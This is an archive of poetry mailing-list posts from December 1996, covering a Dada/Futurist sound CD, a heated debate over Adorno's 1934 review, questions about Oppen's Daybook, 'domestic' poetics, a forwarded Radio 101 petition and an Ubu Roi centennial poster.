Mandorla 2 * Cesar Vallejo * Clayton Eshleman * Sylvia Navarrete * Gertrude Stein * Michael Davidson * Xavier Villaurrutia * Eliot Weinberger * Guy Davenport *Severo Sarduy * Salvador Elizondo * Paul Metcalf * Hugo Gola * Magali Tercero * Kurt Hollander * Jan William * Coral Bracho * Alfonso Alfaro * Eduardo Milan * Horacio Costa * Roberto Tejada * Eduardo Vazquez Martin * Fernando Leal Audirac * Ana Belen Lopez * David Huerta * Thad Ziolkowski * Cuahtemoc Medina * Esther Allen * Rossana Reyes * Lorna Scott Fox * La Vonne Poteet * Gabriela Montes de Oca *

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M A N D O R L A
Nueva Escritura de las Americas * New Writing From the Americas
Edited by Roberto Tejada
Durango 127, Int. 7 * Colonia Roma * 06700 *Mexico D.F., Mexico *
Tel. [redacted] * e-mail:[redacted]

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478. **Herb Levy**
Re: Henri Chopin
Tue 17 Dec 1996

They usually have a copy or two of a Dada/Futurist compilation CD at Wall of Sound in Seattle. They've had Henri Chopin discs in the past, as well, though I don't think I've seen the new one mentioned earlier.

Wall of Sound does have e-mail, but they check it so rarely, you'd be better off calling them (206) [redacted]. Or write them at

2237 2nd Avenue
Seattle, WA 98121

You know, catty-corner from the Speakeasy in Belltown.

The disc I'm thinking of is on the Sub Rosa label. & if you want to look around town wherever you are, you'd be better off looking at smaller shops that have a lot of European "industrial"/"ambient" music, cause that's the kind of distribution Sub Rosa gets.

Bests

> *loss glazier writen:*
> *Along these lines, I might ask if anyone out there knows where I can get a copy of the CD of Futurist/etc. work. It was an anthology of some sort. Someone told me recently they just got it at a record store but I can't find any trace of it. Any ideas?*
>
> *Feel free to backchannel me if that's more appropriate...*
> *pls dont backchannel--d love to get my hands on this as well.*
>
> *thanks. c.*
> *..*

> *christopher alexander, etc.*
> [redacted]
>
> *"The second edition of this book consists*
> *largely of a reproduction of the first edition,*
> *with additional theorms and examples."*
> *--T.M. Macrobert, _an introduction to the*
> *theory of infinite series_*

Herb Levy
[redacted]

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479. **cris cheek**
Re: Henri Chopin
Tue 17 Dec 1996

'Futurism and Dada Reviewed' is on Sub Rosa (SUBCD012-19)

it's got stuff from the Russolos / Marinetti / Lewis / Apollinaire / Schwitters / Cocteau / Duchamp / Tzara / Janco and Huelsenbeck on it

some murky and some less murky phonographic inscription

read the excellent 'The Wireless Imagination' (MIT) whilst you listen

love and love
cris

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480. **robert drake**
Re: Henri Chopin
Tue 17 Dec 1996

---

loss glazier wrote:
> Along these lines, I might ask if anyone out there knows where I can
> get a copy of the CD of Futurist/etc. work. It was an anthology of
> some sort. Someone told me recently they just got it at a record store
> but I can't find any trace of it. Any ideas?
>
> Feel free to backchannel me if that's more appropriate...

I believe the title is _Futurism & Dada Reviewed_, produced by james neiss for Sub Rosa... & the address i have is 13330-a white oak circle, tampa fl 33618... thanx to charlotte pressler fr this info, she reviewed it in TRR #4

lbd

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481. **tmandel**
Ad Vance Bell
Tue 17 Dec 1996

It has taken me a day or so to find the time to reply to Vance Bell's words. For one thing, his riposte to my original Adorno post is lengthy. For another, although it comes with an emblem of authority (Bell "concentrates his thinking mostly on Adorno and Benjamin") and is delivered alternately as absolutes ("not a single citation to an original text") and rhetoricized irrelevancies ("Is this the same Arendt that [sic] was intimately involved with Heidegger..?) it pretty aggressively attempts to render nil my reference to Adorno's attempt to ingratiate himself with the Nazis, his approving quote of Goebbels, his 30 years of silence on his own action, and his attempt to excuse his behavior once he was confronted with it. Hence, there is no avoiding a response on my part.

Bell begins: "First thing I might say is that this indictment has not a single citation to any original text.... their lack casts a negative light on the content."

Hmmm. I believe I cited both the review in die Musik and the exchange of letters in Diskus, and these represent the only "original text" involved here. We are not off to a good start here.

Mr. Bell quotes my original post: 'In a letter to Karl Jaspers, Hannah Arendt referred to Adorno as "one of the most repulsive human beings I know.'" And asks "Is this the same Arendt that was intimately involved with Heidegger and who was treated rather badly by the same?"

Why yes, Vance, the very same. What is the significance of the rhetorical question?

To my "Arendt detested Adorno for his attempt to ingratiate himself with the Nazis," Vance Bell replies: "I think that I would have done the same thing in A.'s place.... Adorno, was in fact, born to a Catholic mother and was therefore, technically, not a Jew by Jewish standards (Nazi standards being obviously quite different)."

I wonder if Mr. Bell is really content to have said that. I wonder whether the rest of you would like to read those words slowly one more time.

If, Vance, you do intend those words, then, yes you are right, people do all kinds of things, and perhaps you would have done the same thing in Adorno's place. Believe it or not, Vance Bell, this does *not* excuse him in the slightest.

Between the two sentences I separate with an ellipsis above, Bell says: "It is all too easy to view the situation in '33-4 with the benefit of hindsight." Perhaps I

missed something Mr. Bell was shown; if not, I'm pretty sure there is no other way to view 1934 than in hindsight.

Lets get serious here.

It might be interesting for Vance Bell to supply the full list of Jewish or part-Jewish Marxist or otherwise left-leaning intellectuals who praised Baldur von Shirach's murderous verse and quoted Goebbels approvingly in the process - or the equivalent, not to be too exact - and whose retrospective analyses of National Socialism we are to take seriously, whose remarks on poetry and Auschwitz, for example, we are to give the slightest credit.

Perhaps completeness is too stringent a request. Why don't you add ONE NAME to the list, Mr. Bell. There's a challenge. Who else is on the list? Add one name to Adorno's.

When I refer to Arendt's distaste for Adorno's in her words "indescribably pathetic" attempt to excuse himself when his activities were discovered thirty years later, Mr. Bell's retorts: "Again I would like to know more of H.'s (i.e. Hannah Arendt's) relationship to Heidegger when the latter took over the rectorship of Freiburg Univ."

Wow, I guess Mr. Bell really does identify with Adorno, just as he said above. As Adorno excused himself with Heidegger (not as bad as Heidegger) so Vance Bell excuses him -- what of Heidegger and Arendt? And yet, how does what Heidegger did excuse Adorno?

>From here, Vance Bell turns to the review itself. He quotes me: "In a periodical called Die Musik in June 1934 Theodor Wiesengrund-Adorno wrote a music review in which he praised a song cycle written to poems by Baldur von Schirach - an obscure person today thankfully but extremely well-known at the time as a Nazi poet and an adorer of Hitler, to whom the book of poetry was dedicated (to "Adolph Hitler, the Fuhrer")! from which come the texts of the songs. The song cycle bears the same name as the book. The editors of the Arendt-Jaspers correspondence describe it as containing "phrases which even today can be regarded only as obsequious gestures to the Nazis. Adorno apparently was not bothered by the fact that some of the poems advocated mass murder." The review also uses a phrase of Goebbels - approvingly."

On all of this, Vance Bell comments, "Has this person read the original text? I bet it is not that long. Certainly sounds bad, but the original is necessary for any further conclusions." Yes, Vance, that is true.

To my "It goes without saying that Adorno took no opportunity after the war to mention having written this document," Bell replies: "Certainly Adorno did not forget what he wrote." Huh?

To my claim that his having written this review and quoted Goebbels approvingly "played no part in any of the judgments he made of German intellectuals' relations to the Nazis," Bell replies "How can one say that it did not play a part in the judgments made of German intellectuals?" Gee, Vance, what I meant was that he didn't out what he had done as he got busy judging others - seems obvious.

To my pointed irony that Adorno "did not footnote his Minima Moralia axiom about poetry after Auschwitz with any reference to the poetry he had praised only a few years before Auschwitz was built," Bell replies: "It might also be important to note that the German version of MM has no footnotes, period." Double huh?

"What, he asks, "would be the relation of Adorno's text in Die Muzik be to the axiom. Wouldn't the axiom itself speak against all of A.'s poetry criticism prior to MM or Prisms equally to condemn lyric poetry in general." I'm not *sure* I follow the syntax in Bell's 2d sentence, but I'm quite sure he hasn't the faintest notion of my point, which is simple: Adorno's behavior, his smarmy attempt to get in good with the Nazis by praising the song cycle on Baldur von Shirach's texts, unfits him entirely to take a moral position on poetry after Auschwitz.

Fast forward (I'm sorry, I know how laborious this is; I'm happy to think that some of you are not following this thread at all and can just jettison this post along with the others on the subject, but I have no choice but to reply point by point to this defense-attorney-for-Adorno post by Vance Bell), okay sloooow forward to 1964:

"The January 1964 issue of Diskus, a Frankfurt student newspaper, contains an open letter to Adorno," I say, "written by a student and asking whether he was the author of the review in question. Adorno replies in the same issue (which as I say I have not read). "I deeply regret having written that review," especially because "it deals with poems by Schirach" and made use of "a phrase of Goebbels." Obviously, it is hardto credit "regret" that does not lead to repudiation, and Adorno had kept his authorship of these words secret for thirty years. After expressing this regret, according to the editors, he goes on to make a series of excuses and concludes that it will be left to the reader "to decide whether those incriminating sentences should be given any weight in assessing my work and my life.... No one... could possibly compare me to Heidegger...""

To this, Bell replies: " Not to excuse him... but if this is Adorno's only infraction it is small compared to both deMan and Heidegger."

The blindness of this is truly amazing. Adorno could not include de Man of course, but otherwise, Vance Bell simply repeats the excuse Adorno offered in his own defence! The other guy is guiltier. He is much guiltier!

If Bell hadn't continued - "I am curious if this author would have faired so well.?" - I might not have bothered to reply. I must assume these words apply to me, that I am "this author," but even if they aren't so intended, they give one a poor impression of Mr. Bell's sense of ethics. People, for example, steal all the time Mr. Bell. Are you saying that I'm a thief, or are you just saying everybody is?

"The students of the sixties," Vance Bell concludes (meaning the German student who confronted Adorno with his review of thirty years hence), "would have been born at the War's close. Are we saying that they themselves were also anti-semities, or Nazis in disguise (gee Tom, aren't *all* Germans)?"

For that last statement, Vance Bell, whose "thinking concentrates on Adorno and Benjamin" you deserve a spanking; any time you want to come around and receive the spanking you deserve, feel free to do so. I'd enjoy delivering it.

Tom Mandel

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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482. **tmandel**
Duane Davis
Tue 17 Dec 1996

Duane Davis makes the good point that the rhetorical device I used to remove myself from any debate on Adorno’s work that might be stimulated by my pointing to evidence of his ill behavior, which was to say simply that I found him a repellent figure and didn’t want to waste my time discussing his work, has not worked. He is quite correct.

He goes on to characterize that device as a refusal to take responsibility for one’s position. I don’t see it that way, but I am willing to accept a corrective that is so intelligently stated and seems so honest. I especially respect the fact that he makes it not personally but by referring to a forum of this kind. That in a society of peers, Duane seems to say, you will not get away with a shirking of such responsibility.

In all, I agree with Duane’s post. He compares Susan Buck-Morss’s treatment of Adorno’s character favorably to my treatment of the subject, and without knowing the book to which he refers I am sure he is correct in calling her more

circumspect and better documented. My treatment was tangentially documented, and it was not circumspect at all.

I have said elsewhere that I consider Adorno a problem. Evidently, Duane Davis does too. But, he seems to consider Adorno's flaws more interesting than I do. Hence he refers to Adorno's "exaggerated sense of his own abilities, accomplishments and self-importance" but does not like my calling him "monumentally self-aggrandizing." Is there any difference other than the level of interest?

Had I known of Buck-Morss's treatment of this subject (on the assumption that is that it covers the review and Diskus exchange), I probably would have referred the list to it and let it go at that. I simply don't find that his work implies as much of the world as Duane does. I find it virtuosic, sometimes penetrating, usually stunted.

All the same, Duane makes a cogent and passionate case for Adono: "he did... address what he believed to be most important to that life (i.e. his) and ours."

And when I re-read that I think: he praised Baldur von Shirach and quoted Goebbels approvingly.

Ethical thought is difficult thought. Sometimes we make ourselves pay in some occulted way for what we cannot face in ourselves. Perhaps there is a relation between the determined absolutism of reason's defeat as it is brilliantly unrolled in the works of Theodor Adorno and his own willingness to blind himself. On the other hand, perhaps not. I cannot help but feel that pathos fits him better than tragedy.

Unless someone has the time to translate the '34 review and the Diskus article, now might be a good moment to abandon this thread.

Tom Mandel

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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483. **Tosh**
Re: Henri Chopin
Tue 17 Dec 1996

Hi:

I may be jumping on the wrong train here, but if you are talking about the collection of Dada and Furturist music/talk/readings - all from the original guys- it is put out by Sub Rosa, and is distributed by AK Press.

tosh

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484. Thomas Bell
inter\face 12
Tue 17 Dec 1996

Benjamin H. Henry
inter\face magazine

{begin i\f 12}

inter\face 12
Fall/Winter 1996

==========
========== ==========

Featured in this issue of inter\face:

Allegra Sloman
Thomas Bell
Arrange Renga
David Hunter Sutherland
David Joseph Dowker
Benjamin H. Henry

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485. Stephen Cope
Oppen's Daybook
Tue 17 Dec 1996

Would anyone here be able to give information about Oppen's _Daybook_? Specifically what has and hasn't been published, where, and also anything written about Daybook material (or making use of it)?

Thanks in advance, (and feel free to backchannel

Stephen Cope
[redacted]

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486. aerialedge
Re: Henri Chopin
Wed 18 Dec 1996

Loss, I can't locate their address at the moment but you want to contact the audiomagazine Tellus-- they did an excellent audio-anthology of Futurist/Dada soundworks a few years back.

--Rod

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487. tmandel
Fw: Adorno
Wed 18 Dec 1996

David Kaufman sent me the following email. It contains facts which reflect very positively on Adorno's relations with Benjamin, pretty much undercutting the basis of my negative judgment of those relations. I haven't asked him whether it was ok to forward it to the listserv, but I assume no problem.

>From: [redacted]
>Date: Wed, 18 Dec 1996 00:57:47 cst
>To: [redacted]
>Cc:
>Subject: Adorno
>
>I just received your posting about Adorno and Arendt. I am not so sure
>you want to call Adorno a toad--if you read his recently published
>correspondence with Benjamin (Suhrkamp, 1995) you will see that Adorno
>was paying Benjamin a stipend out of his own pocket during the early
>1930's. These letters also show that Adorno did alot for Benjamin
>in terms of money and other forms of help. Arendt, who was Benjamin's
>cousin, did not like Adorno for a number of reasons--his pathetic
>behavior in his review proves an embarrasment to anyone who is
interested
>in his work. By the same token, Arendt also accused him of chaning his
>name so as to be published in Germany. This was not the case--he was
>always Wiesengrund-Adorno. A small point and not convincing
perhaps.But
>then again Benjamin published under the Nazis under the name of Detlev
>Holz, a wonderful parody of a fascist name if you know that it is a
parody.
>
>As for Adorno's identity as a Jew, I think you might want to

reconsider
>your intemperate remarks. From about 1940 Adorno began to identify himself
>in his work as a Jew and became more interested (but not very knowledgeable)
>about Judaism. This cost him when he went back to Germany--perhaps not
>enough for your liking. For an account of all this, see Wiggershaus,
>THE FRANKFURT SCHOOL.
>
>I'm sorry you don't like his work: if you like Bnajmin, it should be
>right up your alley.
>
>David Kaufmann

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

488. Michael Boughn
Re: Adorno
Wed 18 Dec 1996

In my reading last night, I came across a passage which for some strange reason I thought a propos to the ongoing discussion of Adorno:

Alice was just beginning to think to herself, "Now, what am I to do with this creature when I get it home?" when it grunted again, so violoently, that she looked down into its face in some alarm. This time there could be no mistake about it: it was neither more nor less than a pig, and she felt that it would be quite absurd for her to carry it any further.

So she set the little creature down, and felt quite relieved to see it trot away quietly into the wood. "If it had grown up," she said to herself, "it would have made a dreafully ugly child: but it makes a rather handsome pig, I think."

Mike
[redacted]

↑ Index

489. henry gould
Re: lesson plan/ sales pitch
Wed 18 Dec 1996

maybe the thirst for truth & reality inhabits a kind of median between the thirst for knowledge (the academy) & the thirst for experience (the "poetry scene"). In the "old days" poetry encompassed storytelling, theater, & lesson plans (before prose, drama, & philosophy). But the resources of language are still there, & strong poetry quenches at least 2 of the thirsts mentioned.

What I'd like to see is a poetry "scene" not artificially divided between "beats"[sic] & academics, nor balkanized in the fashion of society at large, & in which an active poetics feeds off a general audience rather than an academic set of credentials & networks - independent but not alienated from the kind of learning & attention found in schools. Perhaps what this will require (& probably this is not a new idea!!) is a new standard of poetic style - which aims to integrate prose, storytelling, performance in a real (or enhancing) way with "lyric". & something that speeds beyond the stand-up tragicomedy of the current cliques.

An aside: (laugh as you will) I now think Shakespeare was written by somebody else - maybe a group. What kind of model does this provide if true? If Shakey was a stage manager - a front for Anonymous.

Youse sophisticates may laugh as you please & say "this has already been happening for a long time", but I say well, not in my neighborhood it hasn't. Prove me wrong. - Henry Gould, back from London & crazed as ever

↑ Index

490. Judy Roitman
Adorno/Bunting-J.Williams
Wed 18 Dec 1996

The common question is the relation between moral clumsiness (to use an overly polite expression for one case, and what would have 20 years ago been considered an overly strong expression for the other) and the work, yes? The fact of the common question and the different rhetorics in the separate discussion threads is pretty interesting.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

491. **cris**
Re: Fwd: Croatia Radio
Wed 18 Dec 1996

---

w/ apologies for cross-posting
Subj: Re: Internet petition: SAVE RADIO 101 in Zagreb, Croatia

Dear Friends:

Please help save Radio 101 in Zagreb, Croatia from
being cancelled!!! Just add your name to the list and send the
message to everyone you know. This message is brought to you by the letter
"H" (for help) and the number "1,000,000" (for the number of names we want
to sign). THANK YOU.
Save RADIO 101 from being cancelled!!!!!! This is a petition to save Radio
101 in Zagreb, Croatia. ALL YOU DO IS ADD YOUR NAME TO THE LIST AT
THE
BOTTOM, then forward it to everyone you know.
The only time you send it to the included address is if you are the
50th,100th, etc. Send it on to everyone you know. Croatian "democracy"
goverment believes that this radio station is dealing against state, while
this is the ONLY station left which is dealing with democracy informations in
Croatia!
Please add your name to this list if you believe in what we stand for.
This list will be forwarded to the Government of the Republic Croatia! If you
happen to be the 50th, 100th, 150th, etc. signer of this petition, please
forward to: [redacted] and [redacted]. This way we can keep
track of the lists and organize them. Forward this to everyone you know, and
help us to keep this radio station ALIVE!. Thank you.

SIGNATURES
1. Drago Markovic, Zagreb, Croatia
2. Sanda Petris, Zagreb, Croatia
3. Antun Sunjic, Zagreb, Croatia
4. Maja Dawidowsky, Zagreb, Croatia
5. Maja Vickovic, Zagreb, Croatia
6. Vladimir Vuksan, Albuquerque, USA
7. Ivica Skoric, New York, USA
8. Laure Akai, Moscow, Russia
9. Vadim Damier, Moscow, Russia
10. Mikhail Magid, Moscow, Russia
11. Lena Soloyeva, Moscow, Russia
12. Milan Sudjic, Moscow, Russia
13. Mira Krstic, Moscow, Russia

14. Alexander Shubin, Moscow, Russia
15. Konstantin Orlyov, Moscow, Russia
16. Lena Zorina, Aprelevka, Russia
17. Petr Ryabov, Moscow, Russia
18. Vladimir Platonenko, Moscow, Russia
19. Andrei Sinyavsky, Paris, France
20. Alexander Tarasov, Malakhovka, Russia
21. Alexander Ilyovich, Moscow, Russia
22. Lera Akhmetova, Moscow, Russia
23. Vladlen Tupikin, Moscow, Russia
24. Ivan Basayev, Zelenograd, russia
25. Alisa Nikulina, Moscow, Russia
26. Heiko Brandt, Moscow, Russia
27. Kiril Prevetsentsev, Moscow, Russia
28. Jaroslav Leontiev, Moscow, Russia
29. Galina Zaitseva, Moscow, Russia
30. Maxim Kuchinski, Moscow, Russia
31. Vladimir Kuznetsov, Moscow, Russia
32. Renfrey Clarke, Moscow, Russia
33. Anna Kuznetsova, Moscow, Russia
34. Alexander Margorin, Moscow, Russia
35. Ilya Romanov, Moscow, Russia
36. Bob Smalls, Moscow, Russia
37. Julia Guseva, Moscow, Russia
38. Vladimir Gusev, Moscow, Russia
39. Sergei Bietz, Moscow, Russia
40. Zoran Grozdic, Moscow, Russia
41. Dmitry Olennikov, Moscow, Russia
42. Bodgan Titomir, Moscow, Russia
43. Andrei Gryaznov, Moscow, Russia
44. Stanislav Chmurny, Moscow, Russia
45. Sasha Nikolic, Moscow, Russia
46. Pavel Sentyabryasky, Moscow, Russia
47. Maxim Krainev, Moscow, Russia
48. Anastasia Drozdeva, Moscow, Russia
49. Pavel Luzakov, Moscow, Russia
50. Peter Rausch, St.Petersburg, Russia
51. Lena Belayeva, St.Petersburg, Russia
52. Mark Andreyev, St.Petersburg, Russia
53. Oleg Beltz, St.Petersburg, Russia
54. Alexander Yermakov, St.Petersburg, Russia
55. Igor Mogazeyev, Tver, Russia

56. Tatiana Sorokina, Tver, Russia
57. Sergei Kuznetsov, Tver, Russia
58. Irina Bondarenko, Petrozavodsk, Russia
59. Vitaly Blazhevich, Kharbarovsk, Russia
60. Pavel Arbatov, Kharbarovsk, Russia
61. Mikhail Petrov, Kharbarovsk, Russia
62. Igor Podshivalov, Irkutsk, Russia
63. Sergei Shevchenko, Donetsk, Ukraine
64. Tatiana Nosatch, Donetsk, Ukraine
65. Maxim Sobakevich, Kiev, Ukraine
66. Andrei Petrenko, Kharkiv, Ukraine
67. Vyacheslav Bondarenko, Lviv, Ukraine
68. Irina Mikhailenko, Kiev, Ukraine
69. Oleg Novikov, Minsk, Belarus
70. Stanislav Pochobut, Grodno, Belarus
71. Amandine Regamey, Minsk, Belarus
72. Yura Glushakov, Gomel, Belarus
73. Vasily Kalganov, Aktjubinsk, Kazakhstan
74. Yevginy Solovyov, Aktjubinsk, Kazakhstan
75. Mikhail Akayev, Alma-Ata, Kazakhstan
76. Mikhail Kisunas, Riga, Latvia
77. Olga Kalinina, Riga, Latvia
78. R@lf G. Landmesser, Berlin, Germoney
79. Robert Wogatzke, Krefeld, Germany
80. Martin Veith, Creglingen, Germany
81. Karsten Jagau, Creglingen, Germany
82. Pille Weibel, Luzern, Switzerland
83. Luca De Santis, Pisa, Italy
84. Silvano Chiaradonna, Pisa, Italy
85. Maurizio Persico, Pisa, Italy
86. Donatella Persico, Genova, Italy
87. Francesco Caviglia, Genova, Italy
88. Alberto Ferrari, Reggio Emilia, Italy
89. Maura Mazzoli, Castelfranco Emilia (MO), Italy
90. Paola Scanagatta, Vicenza, Italy
91. Paolo Atzori, K $BaM (Bn, Germany
92. David d'Heilly, Tokyo, Japan
93. Ryuichi Sakamoto,New York,USA
94. Carl Stone, San Francisco, USA
95. Michele Flannery, San Francisco, USA
96.Sep Ghadishah,San Francisco, USA
97. Sam Lehmer. San Francisco, USA

98. Michael Mennies, Elkins Park , PA ,USA
99. Jennifer L. Ware, San Francisco, USA
100. Mark Jan Wlodarkiewicz, Emeryville, USA
101. Phil Benson, San Francisco, USA
102. Michael Wertz, San Francisco, USA
103. Bill Koeb, San Francisco, USA
104. Margaret Tedesco, San Francisco, USA
105. Susannne Hetzel, Marseille, France
105. Christian Vanderborght, Paris, france
106. Nathalie Perreault, Qubec, Qubec, CDN
107. Daniel Rochette, Qubec, Canada
108. Lise Bourassa, Qubec, Canada
109. Thrse Casavant, Qubec, Canada
110. Nadia Morin, Qubec, Canada
111. Laurence Boudreau, Qubec, Canada
112. Richard Martel, Qubec, Canada
113. Sonia Pelletier, Qubec, Canada
114. Jon Bewley, Newcastle upon Tyne, England
115. cris cheek, Lowestoft, Suffolk, England

Les ditions Intervention
T [redacted]/F [redacted]

Inter art actuel (la revue*magazine)
[redacted]

Locus+ is an arts organisation based Newcastle upon Tyne, England that develops new strategies with visual artists for different contexts and across formats.

↑ Index

492. **amato**
Re: Domestic
Wed 18 Dec 1996

---

well i for one am all for "domestic" spaces, provided we're not treating them as somehow "less"... there's a new book out on how women in particular have constructed boundaries (using home technologies) to safeguard such spaces, by my colleague here at iit, christena nippert-eng, entitled _home and work_ (u of chicago)... and a piece in the recent zone collection _incorporations_ bounces all around such spaces: "hygiene, cuisine, and the product world of early twentieth-century america," by ellen lupton and j. abbot miller...

anyway, for me, bernadette mayer's _midwinter day_ (much cited around here, and no doubt much read) is at times one of the most moving "domestic" articulations i've read, though surely not domesticated...

best,

joe

↑ Index

493. Douglas Barbour
Re: Jonathan Williams
Wed 18 Dec 1996

The only book of Jonathan William's prose I have been lucky enough to find is from the late lamented North Point Press, & it is an absolutely wonderful collection: _The Magpie's Bagpipe_ (1982). The voice is charming, the perceptions sharp, the whole a delight. Up herre, it's harder to track down the poetry, but I am grateful for his work as a publisher, even when people complain about some of the books' editing, as with Niedecker's _From This Condensery_, which I am glad to have alongside the selected (also, gee, from North Point).

We have to be grateful for the generosity of such as Williams, in everything he did & wrote... (does & writes)...

========== Douglas Barbour Department of English 'The universe opens. I close. University of Alberta And open, just to surprise you.' Edmonton Alberta T6G 2E5 [redacted] FAX: [redacted] - Phyllis Webb H: [redacted]

↑ Index

494. Victor Grauer
Re: Fwd: Croatia Radio
Wed 18 Dec 1996

> *Please add your name to this list if you believe in what we stand for.*

I imagine that 90% or more of the signers of this list know as little about what this station "stands for" as I do. But, hey, go ahead, sign away. Anything to promote an organisation that favors "democracy", eh?

Victor Grauer

↑ Index

495. **Michael Boughn**
Re: Shakespeare
Wed 18 Dec 1996

> *An aside: (laugh as you will) I now think Shakespeare was written by somebody else - maybe a group. What kind of model does this provide if true? If Shakey was a stage manager - a front for Anonymous.*

Now where was I reading recently--Mark Twain I think--the proposal that the works of Shakespeare were written by somebody else--with the same name.

I wonder if there's a tie in here to Shakes the Clown?

Mike
[redacted]

↑ Index

496. **steph4848**
Re: Domestic
Wed 18 Dec 1996

In answer to Judy Roitman's query as to who wrote re:domestic. C'est moi: Stephen Vincent.

As to Joe Amato's response, I appreciate your references to the recent works on domestic spaces. I'm a long time fan of Bernandette Meyer's Midwinter Day.

I'm curious, however, in the way that the only cited works are ones that evoke and explore the association of women within the home space. In the case of Bernandette Meyer, I wonder, for example, if Lewis Warsh (I believe the father to be?), also kept a journal - and if not, is it reasonable to wonder why not? How might it have been different, added to the occasion, etc.

In other words, I'm suggesting the territory of the home is much more "confused" these days (single fathers & mothers, two career couples, lesbian and gay couples/ parents, etc.) - so I suspect there are more interesting collisions in what for many is a new reality, a much altered concept of "the domestic" - as a consequence to these changes I look for new poetries/writing -- work that will have large resonance and issue with public conventions around the domestic. I certainly find these issue - or an absorption in these issues - deeply affect the process of my own work.

Cheers,
Stephen Vincent

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497. **James Brook**

UBU in San Francisco

Wed 18 Dec 1996

At Pierre Joris' request for more information on the celebration of the centennial celebration of the premiere of Ubu Roi in San Francisco, I'm posting the text of the commemorative poster, of which I, one of the disorganizers of the event, am the author.

The sight at Justin Herman Plaza--named for one of the urban renewal destroyers of the city (see the hideous Yerba Buena Ctr. on your next visit to neo-Frisco)--was awe-inspiring: a well-policed area next to a major hotel and just in front of the Ferry Bldg, the plaza's concrete surface was full of skateboarders ignoring the stern "No Skateboarding" signs, full of teenage sweethearts and moms and dads with their kids in line (trans.: "on line" on the East Coast) for the ice-skating rink, and not at all full of us, a clump of Jarry-philiacs. We ascended the steps of a pseudo- fountain to better survey our bewildered and involuntary audience. And then we delivered: a long speech denouncing and thanking in the same breath our distinguished mayor, Willy Braun, and other local notables (the speaker waved a toilet brush for emphasis; the first scene of Ubu Roi; another couple of incoherent rants; and then threats of more to come, someday, just you wait and see!

You should've been there. (Adorno didn't respond to our invitation. Ezra Pound and T.S. Eliot were fighting in the captain's tower, or so they said.)

The poster, if anyone wants one, is available. It's 11x14, black with white type and a reproduction of Jarry's woodcut of Pere Ubu with the spiral paunch. The word "SHIT" is in red, and really big, a challenge to the conscientious director. We're asking $5.00 to cover our printing and mailing costs. (You can send your requests to J. Brook, P.O. Box 460431, San Francisco, CA 94146.) But you get the following text for free:

- -

Ubu Rules!

1896-1996

"SHIT!"

Thus begins Alfred Jarry's play, Ubu Roi [Ubu Rex], which had its première one hundred years ago, on December 10, 1896, in Paris, a city that used to thrive on either bank of the river Seine. If the state of the world has remarkably improved since 1896, with undreamed-of innovations in war, mass-murder, exploitation, and destruction of nature astounding us every year, it is because shit, ladies and gentlemen, has raised us to its own level.

Jarry, a brilliant playwright, novelist, poet, sportsman, artist, and alcoholic, was the inventor of Pataphysics, "the science of imaginary solutions" that is concerned with "the laws governing exceptions." But he himself was an ungovernable exception: this pistol-packing midget bicyclist discovered one key to the good life, the spirit of black humor. The spirit of black humor begat Père Ubu, spitting image of middle-class belligerence, insatiable greed, gross appetites, small-mindedness, lust for power, and gratuitous acts of murder and mayhem. And thus began the modern world, the First-Second-Cold-Vietnam-Afghan-Gulf-Yugo-Chechin World War, show trials, concentration camps, the beginning-middle-and-end of so-called Communism, the benevolent reign of global capitalism, and so on without end, amen.

Père Ubu, a Shakespearean irruption from the trailer park of the id, grabbed the throne of Poland, "which is to say Nowhere," and thus prefigured what Guy Debord called "the Walesa dynasty." In fact, it is only by reference to Ubiquitous genealogy that we can begin to understand the trendsetters of the century-the Hitlers and Stalins, the Reagans and Yeltsins, the Kohls and Netanyahoos, wholesale and retail-not to mention the pinhead bureaucrats who puff out their chests with surgical implants while fellating restless billionaires. Governments come and go, but the Will to Shit remains a staunch ally of the Will to Power.

On the solemn occasion of the Ubu centennial, then, we celebrate the successes and excesses of Ubic impulses the world over. Wherever Phynance and Murder intersect, there you will find Ubu converted to the coin of the realm and translated into the local idiom.

Today, December 10, 1996, we defecate in remembrance of the century that began in obscenity only to end in the universal expletive.

MÈRE UBU: Now, look, Père Ubu, what kind of king are you? You're slaughtering everyone!
PÈRE UBU: Well, SHIT!

[Ubu Roi, Act III, Scene 2]

Text copyright (c) 1996 by James Brook. Produced by D. S. Black, James Brook, and Small World Productions.

Inquiries to:

P.O. Box 460431, San Francisco, California 94146, USA

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498. **Burt Kimmelman**
Re: patr-iarchy/onization
Wed 18 Dec 1996

---

pete,

i'd like to think that i know niedecker's work well enough to voice my opinion, and know if it were a male within a domestic situation in certain ways the p of v would be quite different--don't you think? and my "domestic" had more to do with living a tough economic life and with being married to a man in a rural setting. i'd be happy to "back up my assertions" with some examples (though there are enough of them that I'd think my point is pretty obvious--but if we are simply sharing our favorite LN poems then yes, sure i'll join in--your contribution was wonderful; it brought me back to LN and I was and am grateful for it--however, I am writing back to you from work and my LN stuff is at home, and also this is finals week for me so I am going crazy, so let me get back to you) when I can get free to pick out some of my favorite "domestic" poems, maybe next week or the week after. Thanks,

Burt

↑ Index

499. **Burt Kimmelman**
Re: Domestic
Wed 18 Dec 1996

S Howe in My Emily Dickinson (God what a book!) mentions that ED probably was agoraphobic; her p of v, then, even when her imagery was of the out of doors, could perhaps be thought of as "domestic." LN was not agoraphobic, but she was perhaps in some poems trapped in her "domicile" (i believe the Latin is "domum," no?), and in her marriage as well --and surely we can say that traditionally when someone is "trapped" or "walled in" ("Yellow Wallpaper") in a marriage it is the wife and not the husband.

↑ Index

500. **Burt Kimmelman**
Re: Oppen's Daybook
Wed 18 Dec 1996

---

stephen,

see the man and poet and also the special issue of ironwood. but i am not the one to speak of the daybook, so i guess i will be being redundant here to have said what i have.

burt

↑ Index

501. Mark Wallace
Some MLA poetry events (fwd)
Wed 18 Dec 1996

For those of you who will be in Washington D.C. during the MLA conference, please note that the following poetry events will be taking place in and around the conference.

Friday, December 27
Bridge Street Books
2814 Pennsylvania Ave. in Georgetown

7:30 p.m. Book party for Marjorie Perloff and her new book WITTGENSTEIN'S LADDER: POETIC LANGUAGE AND THE STRANGENESS OF THE ORDINARY, published by University of Chicago Press

At the Four Seasons, next to Bridge Street:
8:30
MLA Group Reading
